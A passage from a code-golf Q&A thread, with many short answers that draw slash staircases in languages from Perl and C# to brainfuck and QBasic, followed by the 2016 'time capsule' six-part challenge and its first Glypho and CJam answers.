1] Ys % Cumulative sum % STACK: [1 2 3 4 5 6 7 8 9], [1 2 3 3 2 2 2 2 3] G % Push input again % STACK: [1 2 3 4 5 6 7 8 9], [1 2 3 3 2 2 2 2 3], '\\\//\/\\' Z? % Build sparse matrix with those row indices, column indices, and values % STACK: [92 0 0; 0 92 0; 0 0 92; 0 0 47; 0 47 0; 0 92 0; 0 47 0; 0 92 0; 0 0 92] c % Convert to char. Char 0 is shown as space. Implicitly display % STACK: ['\ '; ' \ '; ' \'; ' /'; ' / '; ' \ '; ' / '; ' \ '; ' \'] ``` [Answer] # [Perl 5](https://www.perl.org/), 44 bytes 42 bytes of code + 2 for `-F` flag ``` say$"x($s+=$\eq$_&&$#i**m|/|).($\=$_)for@F ``` [Try it online!](https://tio.run/##K0gtyjH9/784sVJFqUJDpVjbViUmtVAlXk1NRTlTSyu3Rr9GU09DJcZWJV4zLb/Iwe3//5iYGH39mBgIBYT/8gtKMvPziv/r@prqGRga/Nd1AwA "Perl 5 – Try It Online") [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E), 14 bytes ``` ÇÈx<ηOs-W-ISú» ``` [Try it online!](https://tio.run/##MzBNTDJM/f//cPvhjgqbc9v9i3XDdT2DD@86tPv/f/2YGBACAA "05AB1E – Try It Online") **Explanation** ``` Ç # convert input string to a list of ascii codes È # check each for evenness x # push a doubled copy < # decrement η # compute prefixes O # sum each prefix s # swap the unaltered copy of evenness to the top - # subtract from the prefix-sum list W- # subtract the minimum value IS # push input split to a list of chars ú # pad each with the number of spaces computed » # join on newline ``` [Answer] # JavaScript (ES8), ~~66~~ ~~59~~ 63 bytes *7 bytes saved thanks to [Justin Mariner](https://codegolf.stackexchange.com/users/69583/justin-mariner) +4 bytes to fix `/\\/\\/` (noticed by [Neil](https://codegolf.stackexchange.com/users/17602/neil))* ``` f=([a,...z],b=a<'0')=>a?a.padStart(b+=k=a>'/')+` `+f(z,b-!k):'' ``` [Try it online!](https://tio.run/##NYxLDsIwDET3uQUSUhLa2qwRKYdgSYri/qBF/SgNIIE4e0kq8MJjvZlxSw@aCtuMLumHsprnWokTxQDwyuJc0Z5vuVQpHQhGKo@OrBN5pG6KUo5cRoaZqBavOE9WN7njfB7tUFTTBJMrh7uDp21cJQSp1Kzf9DHQkSuuAs8njVpn0RovnfRwDJFakJTQDk1vdG/A2aYzRgYHN4xprRFDK1z/@VGPl43IQgQ9X5Qtlle2Qf97/gI) [Answer] # [C# (.NET Core)](https://www.microsoft.com/net/core/platform), ~~74~~ ~~88~~ ~~82~~ ~~78~~ ~~77~~ 76 + 18 bytes *-1 byte thanks to [Kevin Cruijssen](https://codegolf.stackexchange.com/users/52210/kevin-cruijssen)* ``` s=>s.Select((x,i)=>$"{x}".PadLeft((x-s[0])/45-~s.Take(i).Sum(y=>y<92?-1:1))) ``` Outputs a collection of strings, one for each line. Byte count also includes: ``` using System.Linq; ``` [Try it online!](https://tio.run/##ZU9RT8IwEH7vrziJD22ATow@KGzGEDAmmBgh8UF8qOWQxq7DtdMRwm@f3aaQyZdce/m@u/vupO3KJMUis8q8w3RjHcZ8osxnnxAjYrRrIfGPHyZao3QqMZbfocFUSbIl4CG1sBZuq7xmSlgnnJLwlagFPAhlKNtLh6IS48zIgXWp36ED9yOTxZiKN42/XBTBEsLChpHlUyxXoDTvKBZGp61tvmvxR7GY4NJRy2fiA6lifJrFdBNGm8HV@U23d91jbZp37cvZKwsuLts9xop@Y4PaCJRZZ66pfK@URqC0kiCEob8@0cif0Jsqg5QxOAnBZFqzRmPzxBLLegifpSr2bXyWTJR1lPFxko6EXNEcwmhv8Jwqh5VDzlj/aNhx2b@iHWlmO7Ir5gcQH0Hgo36DgARl7vnqJ5U0D34A "C# (.NET Core) – Try It Online") Explanation for 77 byte answer: ``` s => // Take input, a string s.Select((x, i) => // Replace every character with: $"{x}" // The character as string .PadLeft( // Pad with this many spaces: s.Take(i) // Take characters, in the input string, preceding current one .Sum(y => // Sum them by: y < 92 ? -1 : 1 // If it's a \ add 1, if / subtract 1 ) + (x - s[0]) / 45 + 1 // If first slash is a / add one more space, if current slash is a \ add one more space (I got this through power of MATHS!) // How I arrived at this function: // + x / 48 If current slash is a \ add one more space // - s[0] / 48 + 1 If the first slash is a / add one more space ) ) ``` [Answer] # [Lua](https://www.lua.org), 96 bytes ``` c=0 for s in(...):gmatch(".")do c=c+(p==s and(s=="/"and-1or 1)or 0)p=s print((" "):rep(c)..s)end ``` [Try it online!](https://tio.run/##DYtBCsMwDAS/InSSKJWTa0A/8cXIaRtoHWOn71e0h2Fg2O@/uJsu8DoHTDgaiQhv71@57EMoyPUEU3tQV51QWqWpignDnmt8Vg4s3CP2cbSLCAF5G3snY5HJe6vunmMppZxv "Lua – Try It Online") Shortest one I could come up with in Lua. Input is taken from the command line. This does use a few tricks: 1. `(...):gmatch(` This should be the shortest form of getting a single string into a Lua program from the command line. The `...` expression in Lua captures any excess parameters to a function that aren't specified in the function declaration and is used for varargs. Since the main body of a Lua program gets called as a function with the command line arguments as its parameters, the command line arguments will end up in `...`. The parentheses around it turn the potentially multi-valued `...` expression into a single-valued expression. Consider this (somewhat surprising) example: ``` function multipleReturnValues() return "abc", "def" end print( multipleReturnValues() ) --This prints: abc def print( (multipleReturnValues()) ) --This prints: abc ``` 2. The Lua parser does not need any line terminators, or even whitespace between statements, as long as the two statements' tokens can be clearly separated and there's only one interpretation of the text that's valid Lua code. 3. Abusing `and`/`or` for "if x then value1 else value2" logic. Lua's `and` operator returns its first argument if it is falsy; otherwise, it returns its second argument. The `or` operator returns its first argument if it is truthy; otherwise, the second argument. 4. `p`doesn't need any initialization. `p==s` always has to be false in the first run of the loop, regardless of the input. Not setting `p` to any value before entering the loop (leaving it `nil`) will make that happen and save bytes, too. Can anyone golf this (in Lua)? [Answer] # [R](https://www.r-project.org/), ~~122~~ 121 bytes -1 byte thanks to Giuseppe ``` x=el(strsplit(scan(,""),""));n=seq(x);y=x>"/";for(i in n)cat(rep(" ",diffinv(y[n[-1]-1]+y[n[-1]]-1)[i]),x[i],"\n",sep="") ``` [Try it online!](https://tio.run/##LYxBCsMgEEX3PUWY1Qy1hK7FXiRmYRNDB@zEqhRzemug8N7nrX5qgZ/JpQPfvrz2NVOrxgfMJeUYuGBenKACoFPSYrL/YCV9mPqAEfS2J@SBZRBaXMHkI8IAauVtY/niMcl0u8@d6z9708QzqdpXgRVQ2UfT3xuM1p7Apf0A "R – Try It Online") With extra whitespace: ``` x = el(strsplit(scan(,""),"")) n = seq(x) y = x>"/" for(i in n) { cat(rep(" ", diffinv(y[n[-1]-1]+y[n[-1]]-1)[i]), x[i], "\n", sep="") } ``` Explanation: This answer is based on the observation that the number of leading spaces changes each line by -1, plus the number of `/` in the previous and current lines. If we have N slashes, the variable `y` is a vector of length N, with 1 for each position with `\`, 0 otherwise. Therefore, to get the change in number of leading spaces per line, we calculate `y[1:(N-1)] + y[2:N] - 1`. The function `diffinv` converts these differences into a sequence, starting with 0. The rest is just a matter of assembling each line as the required number of trailing spaces, followed by the relevant slash and a newline. [Answer] # [Brain-Flak](https://github.com/DJMcMayhem/Brain-Flak), 175 bytes (174 chars + 1 flag) Run with `-c` flag. ``` {(({})<(())>){({}[()]<([{}])>)}{}(({}<>{}<><({}<>)((()()()()()){})>)<{({}[()]<((((()()()()){}){}){})>)}>{})<>}<>{}{({}<>)(({})(())){({}[()]<([{}]())>)}{}{<>{}<>(<{}>)}{}<>}<> ``` [Try it online!](https://tio.run/##XU5BCsNACPzOeAj7AfEjMYckUCgtPfQqvt2qaUgpu7Kj48zs9l7vr@n2XB8RBpgTA0RClngGLYzZfMmBmxfPUsWNCLl7HkqtEF86XGxxx00fqRBpIzttclSxf6n9kcy1IxRs3n2rI1R1DB36@35RTPsH "Brain-Flak – Try It Online") ## Explanation ``` { for each char in the input... (({})<(())>){({}[()]<([{}])>)}{} push 1/-1 for backslash/slash (( {}<>{}<> add the 1/-1 to a running total < ({}<>) move slash/backslash to other stack ((()()()()()){}) newline > )<{({}[()]<((((()()()()){}){}){})>)}>{}) spaces <> }<>{} end for reverse data order, removing one space before backslash {({}<>)(({})(())){({}[()]<([{}]())>)}{}{<>{}<>(<{}>)}{}<>}<> ``` [Answer] # [Ruby](https://www.ruby-lang.org/en/), 80 76 bytes -4 bytes thanks to manatwork ``` puts"\\";$*[i=0].chars.each_cons 2{|b,c|puts" "*(b==c ?b==?/?i-=1:i+=1:i)+c} ``` [Try it online!](https://tio.run/##KypNqvz/v6C0pFgpJkbJWkUrOtPWIFYvOSOxqFgvNTE5Iz45P69Ywai6JkknuQasTkFJSyPJ1jZZwR5I2uvbZ@raGlplaoMITe3k2v///8fExOjrx@jHxAAA "Ruby – Try It Online") Explanation: ``` puts "\\" # Output the first backslash $*[i=0]. # Get the first argument and set i to 0 chars. # Go through every individual character, each_cons 2 { |b,c| # In pairs to compare easily # puts " " * # Decide how many padding spaces to use based on the value # of i. The expression inside the parenthesis will return # i but before that, it will increment/decrement i based # on what the previous character was. # ( b==c ? # if b == c b==?/ ? # if b == "/" (Going to the left) i-=1 # return decremented i : # else (Going to the right) i+=1 # return incremented i : # else i) + # return i # c # Finally, write the second of the characters that we're } # iterating through. ``` [Answer] # Java 8, ~~121~~ ~~118~~ ~~110~~ ~~109~~ 102 bytes ``` a->{String r="";int s=0,p=0,i;for(char c:a){for(i=s+=p+(p=c-63)>>5;i-->0;r+=" ");r+=c+"\n";}return r;} ``` -7 bytes thanks to *@Nevay*'s bit-wise magic. :) **Explanation:** [Try it here.](https://tio.run/##lY9NT8MwDIbv@xUmp1ajX0capRPizC4cGQfjdZDRpZGTTpqq/vaSdoXTJEQUW3Ycv3reI54xaW1tjvuvkRp0Dp5Rm34FoI2v@YBUw3ZqAV48a/MBFNEn8usbYCzD@xAiXOfRa4ItGFAwYlL1y3dWQsigBU7l9zaEloeWZw2gEuN@6rRya0V3ym7ykqqHYlOUSSF1klS55LUSIGJpFU01rcXOCDlw7Ts2wHIY5RXBdu9NQFhIzq3ewyl4ia4gM/Bi5OJ8fUrbzqc2jHxjIpNSJHY3j0h9@xRoH5nxEsXx7PovkSyb82@RZf@U@dkP6ebmsBrGbw) ``` a->{ // Method with char-array parameter and String return-type String r=""; // Return-String int s=0, // Amount of spaces p=0, // Previous characters (starting at 0) i; // Index-integer for(char c:a){ // Loop over the input for(i=s+=p+(p=c-63)>>5; // If the current does not equals the previous character // Leave `s` the same // Else-if it's a '\': // Increase `s` by 1 // Else (it's a '/'): // Decrease `s` by 1 // And set the previous character to the current in the process i-->0;r+=" "); // Append `r` with `s` amount of spaces r+=c+"\n"; // Append the character + a new-line to the result } // End of loop return r; // Return result-String } // End of method ``` [Answer] # C (GCC), 137 134 97 bytes [Try it online!](https://tio.run/##JU3RCsMgDHzfV0ihYKrSDQaDivRD2j6UuHY@zA11eyn9dhe7g@OSXJJDtSLm7KTVC8fHHJoIW1GGJg5ukp5ECDdpRz5s7@B8WnhVN1jj6CtpxUUiaI7KQ287jsZcb9ArZTshytMIet8zXbHn7DwvxRxWlAxfPiZ2ZDVl9B0mYNuJEZw5a0s8GkobD7QtsRQV/J1wT5/gGe3t@Qc) • 3 bytes thanks ATaco • 37 bytes thanks to Digital Trauma & ThePirateBay ``` i,d;f(char*s){char c=s[i],n=s[++i];if(c){printf("%*c%c\n",d+1,c);(c-n)?d:(c==47)?--d:++d;f(s);}} ``` Nothing too fancy just a simple recursive function that takes a string and prints out the slashes, note that the input needs to escape the backslashes first. ## Usage ``` f("\\\\\\//\\/\\\\",0,0); ``` ## Ungolfed This is for the old answer, view the try it online link for updated one! ``` f(char *s, i, d) { char c=s[i], n=s[++i]; if(!c) return; for(int j=0; j<d; j++) printf(" "); printf("%c\n",c); f(s, i, (c!=n)?d:(c=='/')?d-1:d+1); } ``` ## Output [![enter image description here](https://i.stack.imgur.com/65WBW.png)](https://i.stack.imgur.com/65WBW.png) [Answer] # C, 60 bytes ``` i;f(char*s){for(i=1;*s;s++)printf("%*c\n",*s%2?--i:i++,*s);} ``` [Try it online!](https://tio.run/##RYzNCsMgDMdfZRQKahTbHZuVPci6Qwm4Kawr2nkZe3an9tBA8v@A/Eg9iFKyaBg9Zy8C/5q3Z3bsUQQMAHz1dtkMa1pB09JIEdrzVSk7WIAcOP6Sw9dsF0Yy8soQESvEjR0CuAvhAQlDgZzizd25NGzX9bOVR9Z3BZemY4rXOu9@tU66@NxX/QM) [Answer] # [Retina](https://github.com/m-ender/retina), 47 bytes ``` ^|\\ $& +m`^( *)( /|\\)(/| \\) $1$2¶$1$3 m`^ ``` [Try it online!](https://tio.run/##K0otycxL/K@q4Z7wP64mJoZLQUWNSzs3IU5DQUtTQ0EfKKSpoV@jAKS4VAxVjA5tA5LGXEAFClz//8fExOjrx@gDtcUgABdEFCgMJvX1uUBK9IHiYBoA "Retina – Try It Online") Link includes test cases. Explanation: ``` ^|\\ $& ``` Add a space at the beginning of each line and before each `\`. ``` +m`^( *)( /|\\)(/| \\) $1$2¶$1$3 ``` Consider the first two characters of the string. If the first is a `/` then the indent needs to be decremented; this is achieved by including the preceding space in the capture (which always exists because the first stage added it); if the second is a `\\` then it needs to be incremented; this is achieved by including the space that the first stage added in the capture. Having given the second character the correct indent, the stage is repeated for the second and third character etc. ``` m`^ ``` Remove the extra indent. I've written a 94-byte version which (like my Charcoal answer) allows any combination of slashes: [Try it online!](https://tio.run/##RYs7DsJADER7n8KRDPJuJI/4lEgpcwhMtBQUFFAAZc6VA@Rii0kKphjpPc28bp/781o32pdqQvMkViSzbAnEoLYMajkpY3RP86T8A/cRiWQX64Pslz5S@3jHuDs1w9kdl3ixdo3lFRNRX6xWAIEOEP6h1YZe2v0L "Retina – Try It Online") Explanation: ``` .$ ¶$.`$* $& ``` Get the ball rolling by taking the last slash and indenting it to the same position on its own line. ``` / / ``` Prefix spaces to all forward slashes so that they can be captured. ``` +`^(.*)( /|\\)¶( *)( \\|/) $1¶$3$2¶$3$4 ``` Repeatedly take the last slash of the input and align it on its own line with the slash on the line below. ``` +ms`^(?<!^[\\/].*) (?!.*^[\\/]) ``` Delete any left-over indentation. ``` G`. ``` Delete the now empty input. [Answer] # [brainfuck](https://github.com/TryItOnline/brainfuck), 98 bytes ``` ++++++++[->++++<]<<<,[[->+++++++++++<<+>]>-----[>+>+<<[-]]>-[->>.<+<]>[-<+>]<<<<.[-]>++++++++++.,] ``` [Try it online!](https://tio.run/##TYtRCoAwDEMPtHW9QOhFun6oIIjgh@D5a4b78EEb0ibrvRzX/mxnZpm42BAEgOrTTYBiYTJwK0bvEjwwZQ3smMuIsIrG16/bamT23lU531Z9AQ "brainfuck – Try It Online") [Answer] # [Vyxal](https://github.com/Lyxal/Vyxal), 16 bytes ``` ƛ\/=&-ð¥*n+,C₂&+ ``` [Try it Online!](http://lyxal.pythonanywhere.com?flags=&code=%C6%9B%5C%2F%3D%26-%C3%B0%C2%A5*n%2B%2CC%E2%82%82%26%2B&inputs=%5C%5C%5C%2F%2F%2F%5C%2F%5C%2F%5C%2F%5C%5C%2F%5C%2F%5C%5C%5C%5C%5C%5C%2F%5C%5C%5C%5C%5C%2F%5C%5C%5C%5C%5C%2F%2F%5C%5C%5C%5C%5C%5C%2F%5C%5C%2F%2F%2F%2F%2F%5C%2F%2F%2F%2F%2F%5C%2F%5C%5C%5C%5C%5C%2F%2F%2F%5C%5C%5C%5C%5C%5C%5C%5C%2F%5C%5C%5C%5C%5C%5C&header=&footer=) ``` ƛ # Map by... &- # Decrement register by \/= # (is a forward-slash) ð¥* # (register) spaces n+, # prepended to n and outputted &+ # Increment register by C₂ # (is a backslash) ``` [Answer] # [Pyth](https://github.com/isaacg1/pyth), 28 bytes ``` j.u+?qeNY?>Y\/+PNdPPNPNYtzhz ``` [Try it online!](http://pyth.herokuapp.com/?code=j.u%2B%3FqeNY%3F%3EY%5C%2F%2BPNdPPNPNYtzhz&input=%5C%5C%5C%2F%2F%5C%2F%5C%5C&debug=0) [Answer] # [R](https://www.r-project.org/), 119 bytes ``` function(s)for(i in 1:nchar(s))cat(rep(" ",cumsum(c(0,!diff(S<-(utf8ToInt(s)>48)*2-1))*S)[i]),substr(s,i,i)," ",sep="") ``` [Try it online!](https://tio.run/##HYy7DoJAEAB7v@LcapcsOTEWxIi9NXZigScbtuAg9/h@vDjlZDJhF9Ptkr1LunqMJGtANepNc/VuHkNR5MaEYdoQDLDLS8wLOjzx8asi2N9qzEna5/rwqdT3S0vVuW6Iqp5e@iaO@RNTGbGyEsMBOE5bB0C7IAwFO/yx1hb3Aw "R – Try It Online") This differs somewhat from [user2390246's answer](https://codegolf.stackexchange.com/a/142696/67312). They each iterate over the string, printing out a certain number of space characters and then the appropriate `/\` character. However, I avoided splitting the string, opting instead to replace the characters with their UTF-8 encoding value instead, which then allows me to do arithmetic on the numbers directly, which saved me just a few bytes. [Answer] # [C# (.NET Core)](https://www.microsoft.com/net/core/platform), 60/65 bytes I tried shorter C# version ``` s=>{int i=0;return s.Select(x=>"".PadLeft(x<92?--i:i++)+x);} ``` as there was stated: "This also means that every input will start with a backslash." Or slighly longer which solve starting "/" ``` s=>{int i=s[0]&1;return s.Select(x=>"".PadLeft(x<92?--i:i++)+x);} ``` [Try it online!](https://tio.run/##ZU/BTsMwDL3nK8wOqNFYCtygaxGaNoQ0JMQmcWAcQuYxS206khSGpn57SVvYVPYkJ8579rOj7EDlBqvCkn6H2bd1mIkp6Y@IMS0ztBup8I8f5WmKylGurbhDjYYU2zHwUKm0Fm6bvGVqWCcdKfjMaQkPknTA99KhqMak0GponfE7nMH9WBcZGvmW4i@XJLCCuLJxsiPtgGL7cv56ehEZdIXRYMUM672CbZz0euJRLqe48q/h1eXNYEDX1O/z/pZHZRV1prbmQHpTuK7ytaYUIQgaCWIY@R/nKYon9N6kMeAcTmLQRZryTmP3WzVWrYmYG8p8m5jnU7Iu4GKSm7FU62ALcbIf8GzIYTNhy3l0ZHZc9q@oZN2sZGW1OID5CEMf7RmGLKxzzzc3a6RF@AM "C# (.NET Core) – Try It Online") [Answer] # [Lua](https://www.lua.org), ~~88~~ 84 bytes Improved version (-4 bytes thanks to QuertyKeyboard) ``` s=""g=s.gsub g(...,".",function(c)s=g(g(g(s,"\\"," "),"/?$",c)," /","/")print(s)end) ``` [Try it online!](https://tio.run/##JYhRCgIxDESvUgY/GgjJCcpeJD9atSxIV8z2/LHWecMwM69xjfACtOLSfNxSyyLCEPBz9HruR8@VvLT8wxlmYCQQQ7cLuM6SdF4Ken/2fmanR79TRNiU6srJsq6tf5l9AQ "Lua – Try It Online") # Original version (88 bytes) Another attempt in Lua, this time with a completely different approach using string manipulation instead of a counter variable. ``` s=""for c in(...):gmatch"."do s=s:gsub("\\"," "):gsub("/?$",c):gsub(" /","/")print(s)end ``` Ungolfed: ``` s = "" for c in string.gmatch((...), ".") do --for each character in the input --s contains the output from the previous iteration s = s:gsub("\\", " ") --Replace backslash with space -> indent by 1 s = s:gsub("/?$", c) --Remove any / at the end of the string and append c to the string s = s:gsub(" /", "/") --Remove a single space in front of any / -> un-indent by 1 print(s) end ``` There's one interesting thing in the code: `(...):gmatch"."` This uses some quirks in the Lua parser. When Lua encounters a piece of code in the form `func "string"`, it'll convert this to `func("string")`. This is so that one can write `print "string"` to print a constant string and it only works with a single string literal after the function. Anything else will give a syntax error. However, this syntactic sugar also works with function calls in the middle of an expression, and more surprising, it works just fine together with the `:` method call syntactic sugar. So in the end, Lua will interpret the code like this: ``` (...):gmatch"." -> (...):gmatch(".") -> string.gmatch((...), ".") ``` ~~If anyone can think of a way to remove one of the three gsub calls, please tell me.~~ [Answer] # Dyalog APL, 31 bytes ``` {↑⍵,¨⍨' '/¨⍨{⍵-⍨+\¯1+2×⍵}⍵='\'} ``` [Try it here!](http://tryapl.org/?a=%7B%u2191%u2375%2C%A8%u2368%27%20%27/%A8%u2368%7B%u2375-%u2368+%5C%AF1+2%D7%u2375%7D%u2375%3D%27%5C%27%7D%27%5C%5C%5C//%5C/%5C%5C%27&run) [Answer] # QBasic, 79 bytes ``` DO c$=INPUT$(1) IF"/">c$THEN END c=2*ASC(c$)-139 i=i+c+p ?SPC(i\90);c$ p=c LOOP ``` This program prints the slashes as you type them. To quit, press `Enter` (or anything earlier in the ASCII table than `/`). [![Downslashes program in action](https://i.stack.imgur.com/KyeVs.gif)](https://i.stack.imgur.com/KyeVs.gif) ### Explanation With the variables `i` and `p` implicitly initialized to `0`, we enter an infinite loop. `INPUT$(1)` reads one character from keyboard input. If this character is less than forward slash, `END` the program. Otherwise, we calculate `c` such that an input of `/` gives `c=-45` and `\` gives `c=45`. We then add `c` and `p` (the **p**revious value) to `i` (the **i**ndent). If `p` and `c` are the same, they add together to change `i` by either `-90` or `+90`. If they are different, they cancel out and do not change `i`. We then print `i\90` spaces followed by the character. (We use integer division because the value of `i` is actually going to be `45`, `135`, etc., since `p` is `0` on the first iteration instead of `-45`.) Finally, set `p=c` for the next iteration, and loop. [Answer] # Perl, 33 bytes Includes `+1` for the `n` option ``` perl -nE 's%.%say$"x(l^$&?--$a:$a++).$&%eg' <<< '\\\//\/\\' ``` Where it not for the fact that `-F` counts as `+3` this would be `32`: ``` echo -n '\\\//\/\\' | perl -F -E 'say$"x(l^$_?--$a:$a++).$_ for@F' ``` [Answer] # [Zsh](https://www.zsh.org/), 43 bytes ``` for c (`fold -1`)echo ${(l/#c%2?w--:++w/)c} ``` [Try it online!](https://tio.run/##qyrO@P8/Lb9IIVlBIyEtPydFQdcwQTM1OSNfQaVaI0dfOVnVyL5cV9dKW7tcXzO59v//mJgYfX0ghpD6@gA "Zsh – Try It Online") Explanation: * `fold -1`: line-wrap the input to a width of 1 (i.e., insert a line-break between every character) * `for c (``)`: for each character `$c`: + `${c}`: take the character, + `(l//)`: left-padded with spaces to the width of: - `#c`: the character code of `$c` - `%2`: modulo 2 (this is 1 for `/` and 0 for `\`) - `?`: if 1 then: * `w--`: decrement `$w` (and return the original value) - `:`: else: * `++w`: increment `$w` (and return the mutated value) - note that `$w` starts at 0 implicitly + `echo`: print; we can't use the 2 bytes shorter `<<<` since its argument is evaluated in a sub-shell so the mutation of `$w` has no effect [Answer] # Pyth - 33 bytes First attempt, will golf. ``` jsMC,*L;+ZsM._*VqVtzztMxL"/ \\"zz ``` [Try it online here](http://pyth.herokuapp.com/?code=jsMC%2C%2aL%3B%2BZsM._%2aVqVtzztMxL%22%2F+%5C%5C%22zz&input=%5C%5C%5C%2F%2F%5C%2F%5C%5C&debug=0). ]
[Question] [ About a year ago on Dec 31, 2015, I had the idea that: > > [We should make a time capsule string. Everybody gets to add one character and next new years we'll see who can make the best program out of all the characters with the esolangs that exist then.](https://chat.stackexchange.com/transcript/message/26532269#26532269) > > > [Doorknob](https://codegolf.stackexchange.com/users/3808/doorknob) graciously [collected characters](https://chat.stackexchange.com/transcript/message/26532550#26532550) from the [PPCG](https://codegolf.stackexchange.com/) community and kept them safe for a year. A whopping *74 people* participated so we have a spiffing *74* [printable-ASCII](https://en.wikipedia.org/wiki/ASCII#Printable_characters) characters to play with! Here are the 74 characters of the 2016 time capsule string in the order they were submitted: ``` H@~*^)$.`~+1A|Q)p~`\Z!IQ~e:O.~@``#|9@)Tf\eT`=(!``|`~!y!`) Q~$x.4|m4~~&!L{% ``` Here are the 74 characters of the 2016 time capsule string in ASCII order (note leading space): ``` !!!!!#$$%&())))*+...1449:=@@@AHILOQQQTTZ\\^`````````eefmpxy{||||~~~~~~~~~ ``` It's not a whole lot to work with, but round here we like a challenge. # The Challenge To determine what language is "best" with the time capsule string we'll have 6 (for 201**6**) challenges that increase in difficulty where in each you must use a subset of the 74 time capsule characters. Having 6 distinct challenges helps ensure more languages can compete, but only the best languages will be able to answer all of them and score high. **Scoring:** * Each challenge will be scored from 0 to 74 depending on how many characters are used. * Higher scores are better. * If your language cannot complete a challenge, your score for that challenge is 0. * Any nonempty subset of the challenges may be completed. * Your final score is the sum of scores from all 6 challenges. * **The best final score possible is 6×74 or 444**. # The Challenges ## 1. Run If a language's code can't run in the first place it won't be able to do anything at all. Write the longest full program possible (using only the 74 time capsule characters, remember) that runs/executes without compile-time or runtime errors. It doesn't matter what the program does, it doesn't matter if it has input/output or enters an infinite loop, it only matters that it runs without errors. (Warnings are ok, as are errors caused by bad user input.) Comments are allowed, so this could be as simple as ``` #H@~*^)$.`~+1A|Q)p~`\Z!IQ~e:O.~@``|9@)Tf\eT`=(!``|`~!y!`) Q~$x.4|m4~~&!L{% ``` in Python for a score of 74. (Don't be afraid to answer if this is the only challenge your language can complete, but don't expect lots of votes either.) **Score = program length** (longer program is better) ## 2. I/O A language that has no form of input or output is almost as useless as one that can't run. Given a [printable ASCII](https://en.wikipedia.org/wiki/ASCII#Printable_characters) character from `!` (0x33) to `}` (0x7D) inclusive, output the printable ASCII character before and after it. The output can be a length two string or list, or the characters separated by a space or newline. For example if the input is `}` the output might be `|~` or `["|", "~"]` or `| ~` or `|\n~`. Likewise, `"` is the output for `!` and `AC` is the output for `B`. **Score = 74 - program length** (shorter program is better) ## 3. Branchability Conditionals are often a requirement for [Turing completeness](https://en.wikipedia.org/wiki/Turing_completeness), which is often a requirement for a language being useful. Given a positive integer, if it ends in the decimal digits `16` then change the `6` to a `7` and output the result; otherwise, output the input unchanged. You may use strings for input/output if preferred. Examples: ``` 2016 -> 2017 16 -> 17 116 -> 117 1616 -> 1617 6 -> 6 15 -> 15 17 -> 17 106 -> 106 2106 -> 2106 ``` **Score = 74 - program length** (shorter program is better) ## 4. Loopability A language that can't do loops will spawn repetitive code so tedious you'll need to take a programming break for a while. Given a positive integer, output an ASCII-art square of that side length filled with a pattern of concentric smaller squares that alternates between any two distinct [printable ASCII](https://en.wikipedia.org/wiki/ASCII#Printable_characters) characters. They don't have to be the same two characters for different inputs. For example: ``` 1 <- input X <- output 2 XX XX 3 XXX X-X XXX 4 XXXX X--X X--X XXXX 5 YYYYY Y...Y Y.Y.Y Y...Y YYYYY 6 XXXXXX X----X X-XX-X X-XX-X X----X XXXXXX 7 ZZZZZZZ Z-----Z Z-ZZZ-Z Z-Z-Z-Z Z-ZZZ-Z Z-----Z ZZZZZZZ ``` **Score = 74 - program length** (shorter program is better) ## 5. Math A language that's not good with numbers and math may as well be for humanities majors. Take no input but output the 72 integer [divisors of 2016](http://www.2dtx.com/factors/factors2016.html), positive and negative, in any order. The output can be formatted as a string or list in a reasonable way. Example: ``` -1, -2, -3, -4, -6, -7, -8, -9, -12, -14, -16, -18, -21, -24, -28, -32, -36, -42, -48, -56, -63, -72, -84, -96, -112, -126, -144, -168, -224, -252, -288, -336, -504, -672, -1008, -2016, 1, 2, 3, 4, 6, 7, 8, 9, 12, 14, 16, 18, 21, 24, 28, 32, 36, 42, 48, 56, 63, 72, 84, 96, 112, 126, 144, 168, 224, 252, 288, 336, 504, 672, 1008, 2016 ``` **Score = 74 - program length** (shorter program is better) ## 6. Esotericism (No, not [that](https://www.merriam-webster.com/dictionary/eroticism).) We at [PPCG](https://codegolf.stackexchange.com/) like our [esoteric stuff](https://esolangs.org/wiki/Main_Page), and [quines](https://en.wikipedia.org/wiki/Quine_(computing)) are a good example of that. Write the longest quine you can, according to [usual quine rules](http://meta.codegolf.stackexchange.com/q/4877/26997). A quine is a program that takes no input and outputs itself. **Score = program length** (longer program is better) # Specific Rules * In each of the 6 challenges ***your program must be a subset of the 74 time capsule characters*** rearranged any way you like. It may be an empty subset or an [improper subset](http://mathworld.wolfram.com/ImproperSubset.html), so each of your programs could have as few as 0 and as many as 74 characters. * A single trailing newline at the end of input/output/code is alright anywhere since some languages require this or it cannot be easily avoided. * Unless otherwise specified, each challenge may be completed as a function or full program according to [our defaults](http://meta.codegolf.stackexchange.com/q/2447/26997). * All challenges must be completed in the same language. * You must use a language (or version of a language) made before it was 2017 [anywhere on Earth](https://en.wikipedia.org/wiki/UTC%2B14:00). * Anyone is welcome to answer, whether you added a character to the time capsule or not. Feel free to use the 2016 time capsule characters in your own challenges. [Answer] ## [Glypho](http://esolangs.org/wiki/Glypho), 74 + (74 - 36) = 112 ### 1. Run (74 bytes) ``` !!#%QTQT@=A@$!!$)()*!&))+...1449:@HILOQZ\\^`````````eefmpx|||{~~~~~~y~|~ ~ ``` ### 2. IO (36 bytes) ``` !!!#!$!$4419TAHT\ee\OQQQ))*+)..)|~~~ ``` ### Explanation Glypho seemed like a fairly good choice for this challenge, because it doesn't care about the actual characters being used. Instead, it looks at groups of four characters and chooses the command based on the pattern of repetition in those four characters. Since there are a lot of duplicates among the time capsule string, we're fairly flexible in the programs we can write, except that we're limited to programs of 18 commands (which isn't a whole lot in Glypho). While this allowed me to solve the first two problems quite easily, I doubt that Glypho can run the others with so few characters. I've tested these using the Java interpreter [retrieved from 2006-06-23 on the wayback machine](https://web.archive.org/web/*/http://rune.krokodille.com/lang/Glypho0.2.zip), which uses a slightly different mapping of the commands: ``` 0000 n 0001 i 0010 > 0011 \ 0012 1 0100 < 0101 d 0102 [ 0110 + 0111 o 0112 * 0120 - 0121 ] 0122 ! 0123 e ``` The **Run** program translates to: ``` 1d-+[...] ``` Where `...` is some junk that I didn't bother translating. ``` 1 Push 1. d Duplicate. - Turn into -1. + Add. Gives 0. [...] Skip the rest because the top of the stack is zero. ``` The **IO** program translates to: ``` id1-+o1+o ``` Here is what this does: ``` i Read a character. d Duplicate. 1 Push 1. - Turn into -1. + Add to character, i.e. decrement it. o Output it. 1 Push another 1. + Add to character, i.e. increment it. o Output it. ``` [Answer] # CJam, 74 + (74 − 14) + (74 − 26) = 182 score ## 1. Run (74 bytes) ``` e# !!!!!$$%&())))*+...1449:=@@@AHILOQQQTTZ\\^`````````efmpxy{||||~~~~~~~~~ ``` 